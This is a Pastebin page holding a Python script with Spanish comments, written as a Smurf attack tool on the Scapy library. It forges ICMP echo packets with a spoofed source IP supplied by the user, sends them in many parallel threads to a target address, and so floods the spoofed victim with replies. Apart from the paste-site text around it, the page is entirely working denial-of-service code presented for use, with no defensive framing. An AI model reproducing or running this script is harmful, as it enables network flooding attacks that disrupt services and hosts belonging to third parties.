Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # -*- encoding: utf-8 -*-
- ##############################################################################
- # Copyright (C) 2010 Kenkeiras <kenkeiras@gmail.com>
- #
- # This program is free software. It comes without any warranty, to
- # the extent permitted by applicable law. You can redistribute it
- # and/or modify it under the terms of the Do What The Fuck You Want
- # To Public License, Version 2, as published by Sam Hocevar.
- #
- # See http://sam.zoy.org/wtfpl/COPYING for more details.
- ##############################################################################
- from scapy.all import IP, ICMP, send, sr # Scapy
- from random import seed, randint # Para identificadores pseudo-aleatorios
- from threading import Thread # Para multihilo
- from time import sleep # Para no quemar el procesador esperando por los hilos
- from os import devnull
- import sys
- sleep_time = 0.01 # Tiempo entre comprobaciones de fin de hilos
- seed() # Inicializa los pseudo-aleatorios
- global done
- done = 0 # nº de hilos que acabaron
- class smurf(Thread):
- # Genera un identificador aleatorio de 16-bits
- def rand_identifier(self):
- x = 0L
- for i in xrange(2):
- x += randint(0, 255) << (i * 8)
- return x
- # Actualiza el paquete al próximo número de secuencia
- def next_seq(self, paq):
- paq[1].seq = (paq[1].seq + 1) & 0xFFFF
- # Prepara el paquete para mandarlo
- def craft_paq(self,
- src_ip,
- dst_ip,
- data = "A",
- rep = 56,
- paq_type = 8,
- paq_code = 0):
- ip = IP(src = src_ip, dst = dst_ip)
- icmp = ICMP()
- icmp.type = paq_type
- icmp.code = paq_code
- icmp.id = self.rand_identifier()
- return (ip, icmp, str(data * rep))
- # Envía un paquete
- def send_paq(self, paq):
- send(paq)
- # Ensambla un paquete
- def asm_paq(self, paq):
- return paq[0]/paq[1]/paq[2]
- # Inicializa el objeto
- def __init__(self, src_ip, dst_ip, times = 1, data = "Hey!", rep = 14):
- Thread.__init__(self)
- self.paq = self.craft_paq(src_ip, dst_ip, data, rep)
- self.times = times
- # Y lo ejecuta
- def run(self):
- try:
- for i in xrange(self.times):
- self.next_seq(self.paq)
- self.send_paq(self.asm_paq(self.paq))
- except:
- print >>sys.stderr, "Un hilo ha fallado"
- # Avisa del fin del hilo
- global done
- done += 1
- # Muestra las opciones
- def show_help(arg0):
- print "Smurf attack basado en Scapy"
- print arg0, "-s <ip de origen> -d <ip de destino> [-t <nº de hilos>] [-p <paquetes/hilo>] [-b <datos a enviar>] [-r <nº de repeticiones de los datos>]"
- print arg0, "-h : muestra esto"
- threadN = 1 # Número de hilos
- src_ip = "" # IP de origen
- dst_ip = "" # IP de destino
- times = 10 # Paquetes que enviará cada hilo
- data = "ASD!" # Cadena que se enviará
- rep = 14 # Veces que se repetirá la cadena
- # Se leen los parámetros
- argc = len(sys.argv)
- i = 1
- while i < argc:
- if (sys.argv[i] == "-h"):
- show_help(sys.argv[0])
- exit(0)
- elif (sys.argv[i] == "-s"):
- i += 1
- src_ip = sys.argv[i]
- elif (sys.argv[i] == "-d"):
- i += 1
- dst_ip = sys.argv[i]
- elif (sys.argv[i] == "-p"):
- i += 1
- times = int(sys.argv[i])
- elif (sys.argv[i] == "-t"):
- i += 1
- threadN = int(sys.argv[i])
- elif (sys.argv[i] == "-b"):
- i += 1
- data = sys.argv[i]
- elif (sys.argv[i] == "-r"):
- i += 1
- rep = int(sys.argv[i])
- else:
- print >>sys.stderr, "Opción [", sys.argv[i], "] desconocida"
- exit(1)
- i += 1
- if (src_ip == "") or (dst_ip == ""):
- print >>sys.stderr, "No se han especificado las IP que se enviarán"
- exit(1)
- smurfs = []
- # Crea los objetos
- for threader in range(threadN):
- s = smurf(src_ip, dst_ip, times, data, rep)
- smurfs.append(s)
- # Elimina los mensajes superfluos de stdout
- tmp = sys.stdout
- sys.stdout = open(devnull, "a")
- # Y los inicia
- for s in smurfs:
- s.start()
- # Espera a que se acaben los hilos
- while (done < threadN):
- sleep(sleep_time)
- # Restablece stdout
- sys.stdout = tmp
- print "[Fin]"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement